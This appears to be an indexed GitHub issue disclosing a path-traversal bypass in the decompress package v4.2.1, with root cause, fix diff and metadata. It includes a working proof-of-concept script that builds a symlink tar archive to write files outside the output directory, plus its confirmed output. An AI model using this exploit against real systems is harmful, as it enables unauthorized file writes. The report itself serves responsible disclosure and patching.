Security: path traversal bypass in v4.2.1 via symlink + indexOf check (bypass of GHSA-qgfr-5hqp-vrw9)
- Dominant language
- JavaScript
- Stars
- 419
- Forks
- 55
- PR merge metrics
- No merged PRs in 30d
Description
## Vulnerability Report
The `safeMakeDir` guard introduced in v4.2.1 uses `indexOf` to check path containment, which is a string prefix check, not a real path containment check. A crafted archive with a symlink whose target path starts with the output path string can bypass this check and write files outside the intended output directory.
A fix PR is open at #112.
## Root Cause
\`\`\`js
// index.js (4.2.1)
if (realDestinationDir.indexOf(realOutputPath) !== 0) {
throw new Error('Refusing to write outside output directory: ' + realDestinationDir);
}
\`\`\`
\`/tmp/output-evil\`.indexOf(\`/tmp/output\`) returns 0 — this passes the check even though \`/tmp/output-evil\` is NOT inside \`/tmp/output\`.
## Proof of Concept
\`\`\`js
const decompress = require('decompress');
const tarStream = require('tar-stream');
const zlib = require('zlib');
const fs = require('fs');
const path = require('path');
const base = '/tmp/decompress-poc';
const output = path.join(base, 'output');
const target = path.join(base, 'output-evil');
fs.mkdirSync(output, { recursive: true });
fs.mkdirSync(target, { recursive: true }); // target must pre-exist — see Conditions
async function buildMaliciousTar() {
const pack = tarStream.pack();
pack.entry({ name: 'link', type: 'symlink', linkname: '../output-evil' });
pack.entry({ name: 'link/evil.txt' }, 'PWNED via decompress indexOf bypass\n');
pack.finalize();
return new Promise((resolve, reject) => {
const chunks = [];
pack.pipe(zlib.createGzip())
.on('data', c => chunks.push(c))
.on('end', () => resolve(Buffer.concat(chunks)))
.on('error', reject);
});
}
(async () => {
const tarBuf = await buildMaliciousTar();
await decompress(tarBuf, output);
const escaped = path.join(target, 'evil.txt');
console.log('escaped:', fs.existsSync(escaped), fs.readFileSync(escaped, 'utf8'));
})();
\`\`\`
Confirmed output on Node.js v25.8.0, decompress v4.2.1:
\`\`\`
escaped: true PWNED via decompress indexOf bypass
\`\`\`
## Conditions
- Archive contains a symlink entry (attacker controls the archive)
- **The sibling directory must already exist on the filesystem.** \`decompress\` calls \`fs.realpath()\` on the symlink target to get \`realDestinationDir\`. If the target directory doesn't exist, \`fs.realpath\` throws and the attack fails. This is a meaningful constraint: the attacker cannot create the sibling themselves via this bug alone.
- The pre-existing directory's path must start with the output path string as a prefix (e.g. output is \`/srv/app\`, target is \`/srv/app-config\` or \`/srv/app-backups\`)
- Realistic where the sibling would pre-exist: servers with predictable layout (\`/var/www/app\` alongside \`/var/www/app-static\`), multi-tenant deploys where tenant directories share a prefix, CI environments that unpack into a versioned subdirectory next to an existing cache dir
This is a more constrained attack surface than tools like \`unzipper\` which call \`fs.ensureDir\` and create the target automatically.
## Fix
See PR #112. Replace \`indexOf\` with a path-separator-aware check in both locations:
\`\`\`diff
-if (realParentPath.indexOf(realOutputPath) !== 0) {
+if (realParentPath !== realOutputPath && !realParentPath.startsWith(realOutputPath + path.sep)) {
\`\`\`
\`\`\`diff
-if (realDestinationDir.indexOf(realOutputPath) !== 0) {
+if (realDestinationDir !== realOutputPath && !realDestinationDir.startsWith(realOutputPath + path.sep)) {
\`\`\`
Additionally, validating symlink \`linkname\` values before any filesystem operations would provide defence-in-depth.
## Notes
Private vulnerability reporting is not enabled on this repo, so reporting publicly. This is a bypass of the fix for GHSA-qgfr-5hqp-vrw9 — the original vulnerability class is the same, the guard just needs a stronger check.
Contributor guide
No contributing guide indexed for this repository
Research direction
Start in index.js and review PR #112, focusing on both realParentPath and realDestinationDir containment checks described in the report. Use the supplied symlink proof of concept to verify that the sibling-prefix bypass no longer writes outside the output directory; the issue also identifies symlink-linkname validation as optional defence in depth.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- javascript, nodejs
- Domain
- security
- Issue type
- Bug
- Difficulty
- 3/5
- Estimated time
- 1-2 days
- Activity status
- Stale
- Clarity
- Clearly specified
- Newbie friendliness
- 25/100